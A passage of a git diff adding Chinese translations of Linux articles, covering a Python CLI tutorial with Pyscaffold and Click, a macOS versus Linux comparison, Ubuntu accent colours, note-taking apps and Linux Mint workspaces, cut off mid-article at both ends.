在文档中说明了如何设置一个完整的示例项目,我不会在这里介绍,你之后可以探索。除此之外,Pyscaffold 还可以在项目中为你提供持续集成(CI)模板: + +* 打包: 你的项目现在启用了 PyPi,所以你可以将其上传到一个仓库并从那里安装它。 +* 文档: 你的项目现在有了一个完整的文档文件夹层次结构,它基于 Sphinx,包括一个 readthedocs.org 构建器。 +* 测试: 你的项目现在可以与 tox 一起使用,测试文件夹包含运行基于 pytest 的测试所需的所有样板文件。 +* 依赖管理: 打包和测试基础结构都需要一种管理依赖关系的方法。`setup.cfg` 文件解决了这个问题,它包含所有依赖项。 +* 预提交钩子: 包括 Python 源代码格式工具 black 和 Python 风格检查器 flake8。 + +查看测试文件夹并在项目目录中运行 `tox` 命令,它会立即输出一个错误:打包基础设施无法找到相关库。 + +现在创建一个 `Git` 标记(例如 `v0.2`),此工具会将其识别为可安装版本。在提交更改之前,浏览一下自动生成的 `setup.cfg` 并根据需要编辑它。对于此示例,你可以修改 `LICENSE` 和项目描述,将这些更改添加到 Git 的暂存区,我必须禁用预提交钩子,然后提交它们。否则,我会遇到错误,因为 Python 风格检查器 flake8 会抱怨糟糕的格式。 + +``` +$ PRE_COMMIT_ALLOW_NO_CONFIG=1 git commit +``` + +如果这个脚本有一个入口点,用户可以从命令行调用,那就更好了。现在,你只能通过找 `.py` 文件并手动执行它来运行。幸运的是,Python 的打包基础设施有一个很好的“罐装”方式,可以轻松地进行配置更改。将以下内容添加到 `setup.cfg` 的 `options.entry_points` 部分: + +``` +console_scripts = +    roto = rotoscope.rotoscope:rotoscope +``` + +这个更改会创建一个名为 `roto` 的 shell 命令,你可以使用它来调用 rotoscope 脚本,使用 `pip` 安装 rotoscope 后,可以使用 `roto` 命令。 + +就是这样,你可以从 Pyscaffold 免费获得所有打包、测试和文档设置。你还获得了一个预提交钩子来保证(大部分情况下)你按照设定规则提交。 + +### CLI 工具化 + +现在,一些值会硬编码到脚本中,它们作为命令 [参数][4] 会更方便。例如,将 `INCOMING` 常量作为命令行参数会更好。 + +首先,导入 [click][5] 库,使用 Click 提供的命令装饰器对 `rotoscope()` 方法进行装饰,并添加一个 Click 传递给 `rotoscope` 函数的参数。Click 提供了一组验证器,因此要向参数添加一个路径验证器。Click 还方便地使用函数的内嵌字符串作为命令行文档的一部分。所以你最终会得到以下方法签名: + +``` +@click.command() +@click.argument('incoming', type=click.Path(exists=True)) +def rotoscope(incoming): +    """ +    Rotoscope 0.4 - Bleep, blooop. +    Simple sample that move files. +    """ +``` + +主函数会调用 `rotoscope()`,它现在是一个 Click 命令,不需要传递任何参数。 + +选项也可以使用 [环境变量][6] 自动填充。例如,将 `ARCHIVE` 常量改为一个选项: + +``` +@click.option('archive', '--archive', default='/Users/mark/archive', envvar='ROTO_ARCHIVE', type=click.Path()) +``` + +使用相同的路径验证器。这一次,让 Click 填充环境变量,如果环境变量没有提供任何内容,则默认为旧常量的值。 + +Click 可以做更多的事情,它有彩色的控制台输出、提示和子命令,可以让你构建复杂的 CLI 工具。浏览 Click 文档会发现它的更多功能。 + +现在添加一些测试。 + +### 测试 + +Click 对使用 CLI 运行器 [运行端到端测试][7] 提供了一些建议。你可以用它来实现一个完整的测试(在 [示例项目][8] 中,测试在 `tests` 文件夹中。) + +测试位于测试类的一个方法中。大多数约定与我在其他 Python 项目中使用的非常接近,但有一些细节,因为 rotoscope 使用 `click`。在 `test` 方法中,我创建了一个 `CliRunner`。测试使用它在一个隔离的文件系统中运行此命令。然后测试在隔离的文件系统中创建 `incoming` 和 `archive` 目录和一个虚拟的 `incoming/test.txt` 文件,然后它调用 CliRunner,就像你调用命令行应用程序一样。运行完成后,测试会检查隔离的文件系统,并验证 `incoming` 为空,并且 `archive` 包含两个文件(最新链接和存档文件)。 + +``` +from os import listdir, mkdir +from click.testing import CliRunner +from rotoscope.rotoscope import rotoscope + +class TestRotoscope: +    def test_roto_good(self, tmp_path): +        runner = CliRunner() + +        with runner.isolated_filesystem(temp_dir=tmp_path) as td: +            mkdir("incoming") +            mkdir("archive") +            with open("incoming/test.txt", "w") as f: +                f.write("hello") + +            result = runner.invoke(rotoscope, ["incoming", "--archive", "archive"]) +            assert result.exit_code == 0 + +            print(td) +            incoming_f = listdir("incoming") +            archive_f = listdir("archive") +            assert len(incoming_f) == 0 +            assert len(archive_f) == 2 +``` + +要在控制台上执行这些测试,在项目的根目录中运行 `tox`。 + +在执行测试期间,我在代码中发现了一个错误。当我进行 Click 转换时,`rotoscope` 只是取消了最新文件的链接,无论它是否存在。测试从一个新的文件系统(不是我的主文件夹)开始,很快就失败了。我可以通过在一个很好的隔离和自动化测试环境中运行来防止这种错误。这将避免很多“它在我的机器上正常工作”的问题。 + +### 搭建骨架脚本和模块 + +本文到此结束,我们可以使用 `scaffold` 和 `click` 完成一些高级操作。有很多方法可以升级一个普通的 Python 脚本,甚至可以将你的简单实用程序变成成熟的 CLI 工具。 + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/22/7/bootstrap-python-command-line-application + +作者:[Mark Meyer][a] +选题:[lkxed][b] +译者:[MjSeven](https://github.com/MjSeven) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/ofosos +[b]: https://github.com/lkxed +[1]: https://opensource.com/sites/default/files/lead-images/python_linux_tux_penguin_programming.png +[2]: https://codeberg.org/ofosos/rotoscope +[3]: https://opensource.com/article/19/5/python-tox +[4]: https://opensource.com/article/21/8/linux-terminal#argument +[5]: https://click.palletsprojects.com +[6]: https://opensource.com/article/19/8/what-are-environment-variables +[7]: https://click.palletsprojects.com/en/8.1.x/testing +[8]: https://codeberg.org/ofosos/rotoscope/commit/dfa60c1bfcb1ac720ad168e5e98f02bac1fde17d diff --git a/published/202209/20220811 What is the Difference Between macOS and Linux-.md b/published/202209/20220811 What is the Difference Between macOS and Linux-.md new file mode 100644 index 0000000000..8914f73628 --- /dev/null +++ b/published/202209/20220811 What is the Difference Between macOS and Linux-.md @@ -0,0 +1,290 @@ +[#]: subject: "What is the Difference Between macOS and Linux?" +[#]: via: "https://itsfoss.com/mac-linux-difference/" +[#]: author: "Ankush Das https://itsfoss.com/author/ankush/" +[#]: collector: "lkxed" +[#]: translator: "Donkey-Hao" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15010-1.html" + +macOS 和 Linux 有什么区别? +====== + +![](https://img.linux.net.cn/data/attachment/album/202209/08/164354illke77oz64k4smf.jpg) + +我们经常对比 [Linux 和 Windows][1],那 macOS 和 Linux 有什么区别呢? + +Linux 和 Windows 的差异很明显,但 Linux 和 macOS 在很多人看起来却很相似。 + +二者都可以在命令行中运行 Unix 命令,并且与用户在 Windows 中的体验大相径庭。同时,并不是所有 Windows 上的应用和游戏可以在 macOS 和Linux 上运行。 + +这就是为什么一些人认为苹果公司的 macOS 是基于 Linux 的系统。**但事实并非如此。** 尽管有相似之处,但 macOS 并不是 Linux。 + +这两个类 Unix 的操作系统有很多不同之处,我将在这篇文章中指出二者的异同之处。 + +就让我们来比较一下苹果和~~橙子~~企鹅吧。 + +### 起源 + +macOS 有一段迷人的历史。它的基础是由史蒂夫·乔布斯的 NeXT 计算机公司所开发的,那时候乔布斯不在苹果公司工作。从技术上讲,它是基于 [Mach 内核][2] 和 Unix 派生的 BSD。 + +那时候,**NeXT** 开发了 [NeXTSTEP][3] 操作系统来驱动它设计的设备和电脑。虽然它得到了一些关注,但是它并没有大获成功。之后,苹果公司恢复了史蒂夫在董事会的席位,作为交易的一部分,收购了 NeXT 公司,使得 NeXTSTEP 操作系统成为了 macOS 的基础。 + +这就是为什么 macOS 是结合了 Unix 组件和苹果公司的专有技术的操作系统。 + +**相反**,Linux(内核)是 Unix 的自由并开源的替代品。 + +Linux 不是一个操作系统,它需要一些组件比如 [桌面环境][4] 才能成为一个操作系统。有许多 [基于 Linux 的操作系统][5],称之为发行版。 + +简单起见,我们将这些操作系统称为 **Linux** 操作系统而不是特定的发行版。 + +### macOS 内核 vs. Linux 内核 + +macOS 内核的官方名称为 XNU。该 [缩写][6] 代表 “XNU 不是 UnixXNU is Not Unix”(LCTT 校注:典型的 GNU 式回文缩写)。根据 [苹果公司的 GitHub 页面][7] 所说,XNU 是“将卡内基梅隆大学开发的 Mach 内核,与来自 FreeBSD 的组件,和用于编写驱动程序的 C++ API 相结合的一个混合内核”。其代码的 BSD 子系统部分是 [“通常在微内核系统中作为用户空间服务器实现”][8]。Mach 部分负责底层工作,例如多任务处理、受保护内存、虚拟内存管理、内核调试支持和控制台 I/O。 + +macOS 内核结合了微内核micro kernel([Mach][9])和宏内核monolithic kernel([BSD][10])的特性,而 Linux 只是一个宏内核。[宏内核][11] 负责管理 CPU、内存、进程间通信、设备驱动程序、文件系统和系统服务器调用。 + +### 二者共同之处 + +macOS 利用了 Unix 组件,而 Linux 是作为 Unix 的替代品而构建的。那么,二者有什么共同点呢? + +二者都可以使用 **Unix 命令、bash/zsh、以及其他 shell**。或许 [默认 shell][12] 会有所不同,但是你可以根据你的喜好进行设置。除此之外,我想不到二者还有什么相似之处。 + +大概在十年前,我们可以说 Linux/macOS 提供的应用程序都比较少。但时过境迁。多年来,二者的软件生态和游戏支持都在不断发展,我们将在本文后面讨论。 + +### 代码库:闭源与开源 + +![open source proprietary illustration][13] + +macOS 是一个闭源的操作系统,意味着你无法看到完整的操作系统源码。 + +当然,可以获得 [部分 macOS(大多为 GNU)库的源码][14]。还有用来开发 macOS 和 iOS 操作系统的 [XNU 内核代码][15]。但是 [你不能只用这些代码构建出一个 macOS 的克隆版][16],并安装在任何硬件上。 + +没有源码并不不是世界末日,但你会因为苹果公司保护和增强你使用电脑体验的主张和实践,而获得 **更少的透明度**。 + +一些人认为出于安全的原因而应该保持闭源。然而,不论开源还是闭源都面临安全威胁。 + +**二者的不同** 是:相对于员工数量有限的苹果公司来说,由于有很多开发者在开源社区中,所以开源软件会很快得到修复。 + +除非你毫无保留的相信苹果,不然 Linux 的开源模式更胜一筹。 + +### 目的和用途 + +macOS 专为台式机和笔记本电脑使用而设计。它非常适合于 **视频编辑、图形设计和音频编辑**。 + +当谈到 Linux ,你可以做很多事情。你可以将 Linux 用于: + +* 客户端 +* Toaster(希望你了解 [物联网 IoT][17]) +* 单板机 +* 服务器 + +当然,在各种平台上使用它的体验并不相同,但 Linux 可以针对各种用例运行。 + +所以,如果你喜欢 Linux,你可以选择在其他平台上也使用 Linux,以获得舒适的体验。 + +### 用户体验 + +当谈到用户体验,这取决于个人喜好。 + +macOS 提供了 **令人愉悦的用户界面**。细致的动画和高分辨率的壁纸、图标,这在视觉上很有吸引力。 + +![macOS Monterey][18] + +你可以期待在整个平台上获得轻松和无缝的体验。 + +使用 Linux,你可以获得同样令人愉悦且易于使用的用户界面。 + +![Zorin OS 16 Pro][19] + +**不幸的是**,用户体验随着不同发行版所安装的桌面环境而不同。 + +你可以查看 [最好的桌面环境][20] 列表。你甚至还可以选择 [类似 macOS 的 Linux 发行版][21]。 + +例如,如果你使用 **Pop!_OS、Ubuntu、Zorin OS 或者 elementary OS** ,你将获得超棒的体验。 + +![Pop!_OS 22.04 LTS][22] + +如果你使用类似于 MX Linux 或者其他的发行版,用户体验可能无法与 macOS 相提并论。 + +![MX Linux][23] + +总的来说,Linux 的开箱即用体验是不一致的,但如果你知道自己在做什么,它就足够了。 + +如果你之前使用的是 Windows,刚开始会对 Linux 的界面感到困惑。 + +### 可定制性 + +![customizability][24] + +如果你想要一个可以让你对它的各个方面进行改动的操作系统,那 macOS 不适合你。 + +尽管大多情况下苹果的设计在美学上会令人愉悦,但并不是每个人都喜欢它们。 + +如果你想要个性化、控制,并大量定制操作系统的具体细节,Linux 应该是完美的选择。 + +你可以根据需要选择自定义用户界面,使用各种不同元素,并根据你的喜好尽情发挥。请查看我们的 [KDE 定制][25] 指南以探索可能性。 + +虽然这很好,但在 Linux 系统上自定义内容时可能会适得其反,把它搞乱。因此,你需要学习、探索你想要自定义的内容。 + +### 运行硬件要求 + +![hardware illustration][26] + +硬件是 macOS 遭受“重创”的地方。 + +如果你想获得 macOS 并有良好的体验,那需要购买昂贵的苹果硬件。 + +例如,支持 macOS 的笔记本电脑的基本配置从 **8 GB 内存** 和 **256 GB 存储空间** 开始,价格为 **$1200** 或更多。 + +除非你想经常使用交换空间进行多任务处理,并且已经拥有云存储空间,否则买苹果设备将是一个糟糕的主意。 + +相比之下,如果你不想花很多钱,但仍希望为你的系统(PC/笔记本电脑)配置一个不错的配置,那么以 800 美元左右的价格购买一台配备 16 GB 内存 + 512 GB SSD 的设备来运行 Linux 是很容易的。 + +**个人说明**:我习惯了 32 G 的内存 + 500 GB 的 SSD 存储。为了获得这种多任务处理空间(不使用交换空间),我将不得不向苹果公司支付溢价。 + +一些熟练的“修补匠”尝试在非苹果公司的硬件上运行 macOS。这样的系统被称为 [黑苹果][27]Hackintosh,但它肯定远不及在普通计算机上运行 Linux 的舒适度。 + +### 软件生态 + +通过苹果公司为 macOS 制作的专属应用程序或工具,可以在 macOS 上获得 **一流的原生体验**。 + +是的,你可能必须购买这些应用程序。但是,与某些订阅选项不同的是,你可以通过 macOS 获得一次性购买选项。 + +![Final Cut Pro on macOS][28] + +对于想要设计、编辑视频、编辑照片并拥有创意的用户,如果你不介意投资的话,macOS 的软件套件应该是一个不错的选择。 + +免费的苹果工具(如 iMovie、Keynote 等)本身就很好。将它们与 Final Cut Pro、Affinity Designer 等高级工具结合使用,你将获得世界级的编辑体验。别忘了,在 macOS 上也可以使用 Adobe 等创意工具。 + +此外,苹果公司对其平台上的应用程序有严格的指导方针,以增强第三方应用程序(免费或付费)的原生体验。 + +这就是为什么许多设计师和编辑更喜欢使用 macOS 而不是其他操作系统的原因。 + +对于 Linux 平台,你可以使用 **很棒的自由及开源软件** 来替代一些仅限于 macOS 的应用程序。除非你喜欢或有使用 macOS 特定应用程序的经验,否则你应该不会在使用适用于 Linux 的软件方面遇到问题。 + +![kdenlive editor][29] + +原生应用的体验基于你使用的 Linux 发行版。 + +![Planner (To-do list app for Linux)][30] + +它可能不像 macOS 那样完美,但如果你不是专业级的视频、图形编辑人员,应该没有任何问题。 + +### 在 Linux 和 macOS 上游戏 + +![gaming illustration][31] + +虽然苹果公司在使其新的 M1/M2 芯片尽可能强大方面取得了不错的进展,但 macOS 目前对游戏的支持很差。 + +少数游戏可以正常工作,并且大多数都不受官方支持。说实话,为游戏而买台 Mac 并不是它的目的。 + +关于 Linux,许多 AAA 级游戏和独立游戏运行良好。当然,某些游戏存在一些问题。但是,随着 Valve 推动游戏对 Steam Deck 的官方支持,即使是像 **《蜘蛛侠:重制》** 这样的最新版本,都得到了 Steam Deck 的认可。 + +最终,这会帮助改善 Linux 平台对游戏的支持。 + +此外,考虑到 PC 显卡市场几乎恢复正常(接近或低于建议零售价),你可以获得不错的 PC 版本或笔记本电脑,而不必担心性能瓶颈。 + +你会花 **1800 美元以上购买配备 16 GB 内存和 512 GB SSD 的 Mac**,还是购买配备 32 GB 内存(或更多)和至少 1 TB SSD(或更多)的 PC/笔记本电脑? + +那由你来决定。 + +### 软件包管理 + +![package manager illustration new][32] + +软件包管理器能够让你很快地找到、安装或卸载你的操作系统中的软件。 + +与现有的任何系统相比,Linux 一直在包管理方面占据优势。 + +你可以获得 [Flatpak][33]、[Snap][34]、[Synaptic][35] 等开箱即用的选项。 + +但是,在默认情况下,Mac 用户没有任何可依赖的软件包管理器。幸运的是,像 [Homebrew][36] 这样的选项极大的方便了 macOS 用户。 + +当然,它还支持 Linux。因此,你可以在多个设备上使用它来简化操作。 + +### 系统升级 + +![software update illustration][37] + +苹果公司不会发布其操作系统更新的具体计划。 + +例如,**macOS Ventura**(在撰写本文时即将进行版本升级)突然抛弃了 2017 年之前的所有 Mac 设备。 + +有趣的是,以前的操作系统版本平均支持 **七年左右**,但随着更新的变化,现在似乎是 **五年左右**。 + +对于苹果公司设计的芯片,这或许不是一个简单的答案。但是,至少 4 到 5 年的软件支持是安全的。 + +Linux 为你提供了选择。如果你想要一个没有功能升级,只专注于维护和安全性的稳定操作系统,Linux 发行版的 [LTS 版本][38] 可以免费为你提供 **五年** 的更新。这主要适用于 [Ubuntu][39] 或基于 Ubuntu 的发行版,如 Linux Mint。 + +此外,有一个 Ubuntu 订阅项目,你可以持续 **十年** 得到安全更新。 + +而且,不止于此,你还可以选择 [滚动发行的版本][40],来获得没有结束时间的持续的前沿更新。只要你的硬件能够胜任,你应该就能毫无问题地更新操作系统。 + +### macOS vs. Linux: 你应该选择哪一个? + +如果你需要的话,macOS 可以说是物有所值。 + +不建议只需要上网、发送电子邮件,以及执行一些在任何平台上都可以执行的任务的用户购买 macOS。 + +macOS 仍然是一个小众的选择。 + +然而,随着 Linux 的改进,它已经成为先前是 Windows/macOS 的用户、计算机专业学生、开发人员、创意专业人士(如我们)以及广泛潜在用户的有用的选择。 + +选择 Linux 而不是 macOS (而不是反之)的原因有很多,但这是我的看法。 + +你对 macOS 与 Linux 有何看法?欢迎在下面的评论中分享你的想法。 + +-------------------------------------------------------------------------------- + +via: https://itsfoss.com/mac-linux-difference/ + +作者:[Ankush Das][a] +选题:[lkxed][b] +译者:[Donkey-Hao](https://github.com/Donkey-Hao) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://itsfoss.com/author/ankush/ +[b]: https://github.com/lkxed +[1]: https://itsfoss.com/linux-better-than-windows/ +[2]: https://en.wikipedia.org/wiki/Mach_(kernel) +[3]: https://en.wikipedia.org/wiki/NeXTSTEP +[4]: https://itsfoss.com/what-is-desktop-environment/ +[5]: https://itsfoss.com/what-is-linux/ +[6]: https://github.com/apple/darwin-xnu +[7]: https://github.com/apple/darwin-xnu +[8]: http://osxbook.com/book/bonus/ancient/whatismacosx/arch_xnu.html +[9]: https://en.wikipedia.org/wiki/Mach_(kernel) +[10]: https://en.wikipedia.org/wiki/FreeBSD +[11]: https://www.howtogeek.com/howto/31632/what-is-the-linux-kernel-and-what-does-it-do/ +[12]: https://linuxhandbook.com/change-shell-linux/ +[13]: https://itsfoss.com/wp-content/uploads/2022/08/open-source-proprietary-illustration.jpg +[14]: https://opensource.apple.com/releases/ +[15]: https://github.com/apple/darwin-xnu +[16]: https://www.techrepublic.com/article/why-apple-open-sourcing-mac-os-x-isnt-terribly-exciting/ +[17]: https://www.ibm.com/blogs/internet-of-things/what-is-the-iot/ +[18]: https://itsfoss.com/wp-content/uploads/2022/08/macos-monterey-screenshot.jpg +[19]: https://itsfoss.com/wp-content/uploads/2021/12/zorin-os-16-mac.png +[20]: https://itsfoss.com/best-linux-desktop-environments/ +[21]: https://itsfoss.com/macos-like-linux-distros/ +[22]: https://itsfoss.com/wp-content/uploads/2022/08/pop-os-screenshot-2022.png +[23]: https://itsfoss.com/wp-content/uploads/2022/07/10.-MX-Linux.jpg +[24]: https://itsfoss.com/wp-content/uploads/2022/08/customizability-illustration.jpg +[25]: https://itsfoss.com/kde-customization/ +[26]: https://itsfoss.com/wp-content/uploads/2022/08/hardware-illustration-800x450.jpg +[27]: https://www.freecodecamp.org/news/build-a-hackintosh/ +[28]: https://itsfoss.com/wp-content/uploads/2022/08/final-cut-pro-mac.jpg +[29]: https://itsfoss.com/wp-content/uploads/2022/08/kdenlive-editor.jpg +[30]: https://itsfoss.com/wp-content/uploads/2021/08/planner-board-view.png +[31]: https://itsfoss.com/wp-content/uploads/2022/08/gaming-illustration.jpg +[32]: https://itsfoss.com/wp-content/uploads/2022/08/package-manager-illustration-new.jpg +[33]: https://itsfoss.com/what-is-flatpak/ +[34]: https://itsfoss.com/use-snap-packages-ubuntu-16-04/ +[35]: https://itsfoss.com/synaptic-package-manager/ +[36]: https://itsfoss.com/homebrew-linux/ +[37]: https://itsfoss.com/wp-content/uploads/2022/07/software-update-illustration.jpg +[38]: https://itsfoss.com/long-term-support-lts/ +[39]: https://itsfoss.com/getting-started-with-ubuntu/ +[40]: https://itsfoss.com/best-rolling-release-distros/ diff --git a/published/202209/20220814 How to Apply Accent Colour in Ubuntu Desktop.md b/published/202209/20220814 How to Apply Accent Colour in Ubuntu Desktop.md new file mode 100644 index 0000000000..e3cb66c465 --- /dev/null +++ b/published/202209/20220814 How to Apply Accent Colour in Ubuntu Desktop.md @@ -0,0 +1,84 @@ +[#]: subject: "How to Apply Accent Colour in Ubuntu Desktop" +[#]: via: "https://www.debugpoint.com/ubuntu-accent-colour/" +[#]: author: "Arindam https://www.debugpoint.com/author/admin1/" +[#]: collector: "lkxed" +[#]: translator: "yjacks" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15025-1.html" + +如何在 Ubuntu 桌面中应用强调色 +====== + +![](https://img.linux.net.cn/data/attachment/album/202209/13/075753yoi4j2ozozkkxmmk.jpg) + +> 得益于开发者们最近的贡献,在 Ubuntu 中使用自己的强调色是很简单的。 + +每个 Linux 发行版都有它们默认的主题,具有各自的主色调。强调色用于在各个设置中突出主色调。通常,主色调和强调色应该形成对比和补充。 + +在最近的 GNOME 桌面的更新之后,Ubuntu 桌面在 22.04 LTS 版本中引入了强调色。 + +尽管如何应用它们是显而易见的,但是为了 Linux 的新手,我将解释如何在 Ubuntu 桌面中使用强调色。 + +### 在 Ubuntu 桌面中应用强调色 + +1. 从应用菜单中打开 系统设置System Settings +2. 进入 外观Appearance 菜单 +3. 在 风格Style 菜单下,你应该见到一套预设的颜色。 +4. 选择其中的一个来改变强调色。 + +一旦更改,强调色将被应用到 GTK 应用程序中的选区和 GTK 控件中,如切换按钮和文件夹的默认外观。 + +默认的强调色是橙色,有十种颜色可供选择,具体如下: + +* 橙色 +* 树皮色 +* 鼠尾草色 +* 橄榄绿 +* 铬绿 +* 普鲁士绿 +* 蓝色 +* 紫色 +* 品红色 +* 红色 + +![Accent Colour in Ubuntu][1] + +(LCTT 译注:树皮色是一种棕色,鼠尾草色是一种灰绿色。) + +你应该记住一点,深色和浅色的主题的强调色组合可能改变你的桌面的整体外观。 + +以上的特性只是只适用于目前使用 GNOME 桌面的 Ubuntu,而不适用于其它提供原生 GNOME 的发行版,例如 Fedora Workstation。因为有一些内容是由 Ubuntu 团队开发的,并且并没有合并到 GNOME 上游。 + +### Kubuntu 中的强调色 + +使用带有 KDE Plasma 桌面的 Kubuntu,你可以简单地使用强调色。KDE Plasma 提供了预设的颜色,也有自定义的颜色选择器选项。另外,自 KDE Plasma 5.25 起,强调色可以根据壁纸来改变。 + +为了在 Kubuntu 中改变它,跟着下面的步骤走: + +* 在应用菜单中打开 系统设置System Settings +* 进入 外观Appearance > 全局主题Global Theme > 颜色Colours 标签 +* 选择你的强调色 + +![KDE Plasma 5.25 - Accent Colour Change Based on wallpaper][2] + +我知道 Lubuntu 与 Xubuntu 并没有这个特性。而且它不太可能很快到来。 + +使用愉快。 + +-------------------------------------------------------------------------------- + +via: https://www.debugpoint.com/ubuntu-accent-colour/ + +作者:[Arindam][a] +选题:[lkxed][b] +译者:[yjacks](https://github.com/yjacks) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.debugpoint.com/author/admin1/ +[b]: https://github.com/lkxed +[1]: https://www.debugpoint.com/wp-content/uploads/2022/08/Accent-Colour-in-Ubuntu.jpg +[2]: https://www.debugpoint.com/wp-content/uploads/2022/05/KDE-Plasma-5.25-Accent-Colour-Change-Based-on-wallpaper-1024x611.jpg +[3]: https://t.me/debugpoint diff --git a/published/202209/20220819 5 note-taking apps for Linux.md b/published/202209/20220819 5 note-taking apps for Linux.md new file mode 100644 index 0000000000..b12822552e --- /dev/null +++ b/published/202209/20220819 5 note-taking apps for Linux.md @@ -0,0 +1,88 @@ +[#]: subject: "5 note-taking apps for Linux" +[#]: via: "https://opensource.com/article/22/8/note-taking-apps-linux" +[#]: author: "Don Watkins https://opensource.com/users/don-watkins" +[#]: collector: "lkxed" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14990-1.html" + +5 款适用于 Linux 的笔记应用 +====== + +![](https://img.linux.net.cn/data/attachment/album/202209/01/173456nfc42fnqkiwfkh90.jpg) + +> 使用这些开源工具来记笔记。 + +笔记是任何作者生活的一部分。我的大部分文章都是从笔记应用开始的,这对我来说通常是 [Joplin][2]。有大量适用于 Linux 的笔记应用,你可能使用的不是我最喜欢的应用。最近的一篇博客文章让我想起了其中的六个,所以我整理了一份我最喜欢的列表。 + +### Joplin + +![Joplin][3] + +[Joplin][4] 适用于 Linux、Windows、macOS、Android 和 iOS。我喜欢 Joplin,因为它会自动保存你添加的任何内容。笔记可以上传到 NextCloud、OwnCloud、Joplin Cloud,甚至是 OneDrive、Dropbox 或任何 WebDav 应用等闭源服务。Joplin 还支持加密。 + +以各种格式导出笔记也很容易。它带有八个不同的主题,可让你定制其外观。 + +Joplin 采用 MIT 许可证。最初于 2017 年发布,Joplin 正在与大量贡献者社区一起持续开发。 + +### Xournal + +![Xournal][5] + +[Xournal][6] 适用于 Linux、Windows、macOS 和 Android。它的目的是让你创建包含几乎任何你可以想象的媒体类型的笔记。它支持压敏手写笔和绘图板,因此你可以创建 [涂鸦笔记][7]。你可以在里面打字、绘制简单的矢量、导入图形、录制音频等等。你还可以使用 Xournal 来注释 PDF,这就是我使用它的方式。它以 GPLv2 许可证发布,你可以以多种格式导出笔记。 + +### Trillium + +![Trillium][8] + +[Trillium][9] 是一个层级笔记应用,专注于知识构建库。它具有丰富的所见即所得编辑功能,支持表格、图像和 Markdown。它支持使用语法高亮编辑源代码中的注释。它是在 AGPL 许可证下发布的。 + +Trilium 可用作 Linux 和 Windows 的桌面应用,以及你可以在自己的 Linux 服务器上托管的 Web 应用。 + +### Gnote + +![Gnote][10] + +[Gnote][11] 是一个为 Linux 编写的开源笔记应用。它是由 Hubert Figuière 从一个名为 [Tomboy][12] 的项目中克隆出来的。与 Tomboy 一样,Gnote 使用类似 Wiki 的链接系统来允许你将笔记链接在一起。 + +GNote 的源代码可在 [GitLab][13] 上找到。该软件是 GPLv3 许可。 + +### CherryTree + +![CherryTree][14] + +CherryTree 支持层级笔记。在 CherryTree 中,所有东西都是一个节点。节点可以是纯文本、富文本、各种编程语言的语法高亮。每个节点可以有子节点,每个子节点有不同的格式。 + +CherryTree 具有富文本和语法高亮的特点,并可以将数据存储在一个 XML 或 [SQLite][15] 文件中。CherryTree 可以从各种格式导入,包括 Markdown、HTML、纯文本、Gnote、Tomboy 和其他格式。它可以将文件导出为 PDF、HTML、纯文本和它自己的 CherryTree 格式。 + +CherryTree 使用 GPLv3 许可,可以安装在 Linux、Windows 和 macOS 上。 + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/22/8/note-taking-apps-linux + +作者:[Don Watkins][a] +选题:[lkxed][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/don-watkins +[b]: https://github.com/lkxed +[1]: https://opensource.com/sites/default/files/lead-images/write-hand_0.jpg +[2]: https://opensource.com/article/21/1/notes-joplin +[3]: https://opensource.com/sites/default/files/2022-08/joplin.png +[4]: https://joplinapp.org/ +[5]: https://opensource.com/sites/default/files/2022-08/xournal.png +[6]: https://xournalpp.github.io/ +[7]: https://opensource.com/article/22/6/open-source-sketchnotes +[8]: https://opensource.com/sites/default/files/2022-08/trillium.png +[9]: https://github.com/zadam/trilium +[10]: https://opensource.com/sites/default/files/2022-08/gnote.png +[11]: https://wiki.gnome.org/Apps/Gnote +[12]: https://wiki.gnome.org/Apps/Tomboy +[13]: https://gitlab.gnome.org/GNOME/gnote +[14]: https://opensource.com/sites/default/files/2022-08/cherrytree.png +[15]: https://opensource.com/article/21/2/sqlite3-cheat-sheet diff --git a/published/202209/20220819 How to Create and Switch Workspaces in Linux Mint.md b/published/202209/20220819 How to Create and Switch Workspaces in Linux Mint.md new file mode 100644 index 0000000000..d1347e3d49 --- /dev/null +++ b/published/202209/20220819 How to Create and Switch Workspaces in Linux Mint.md @@ -0,0 +1,87 @@ +[#]: subject: "How to Create and Switch Workspaces in Linux Mint" +[#]: via: "https://itsfoss.com/workspaces-linux-mint/" +[#]: author: "Abhishek Prakash https://itsfoss.com/" +[#]: collector: "lkxed" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15009-1.html" + +如何在 Linux Mint 中创建和切换工作区 +====== + +![](https://img.linux.net.cn/data/attachment/album/202209/08/103250exm22bu2jtbsyjjj.jpg) + +工作区是组织工作的好方法。 + +假设你打开了太多应用。你的任务栏会很混乱,你可能很难在不同的程序之间查找/移动。 + +在这种情况下,工作区会派上用场。你可以对不同工作区中的应用进行分组。假设你打开了许多与编程相关的应用,而同时你也在处理文档。 + +你可以将它们组织在单独的工作区中。单击并拖动应用窗口,它应该显示将应用移动到不同工作区的选项。 + +这将以更有条理的方式简化你的工作,并节省一些时间和挫败感。 + +听起来不错?让我向你展示如何在带 [Cinnamon][1] 桌面环境的 Linux Mint 中创建工作区并在它们之间切换。 + +### 创建新工作区 + +在 Linux Mint 中创建或访问工作区很容易。只需按 `CTRL + ALT+ ↑`。它将向你显示如下所示的屏幕。 + +只需单击右侧的 `+` 号即可在默认的 4 个工作区之外添加的新工作区。 + +![Workspace Overview in Linux Mint][2] + +Linux Mint 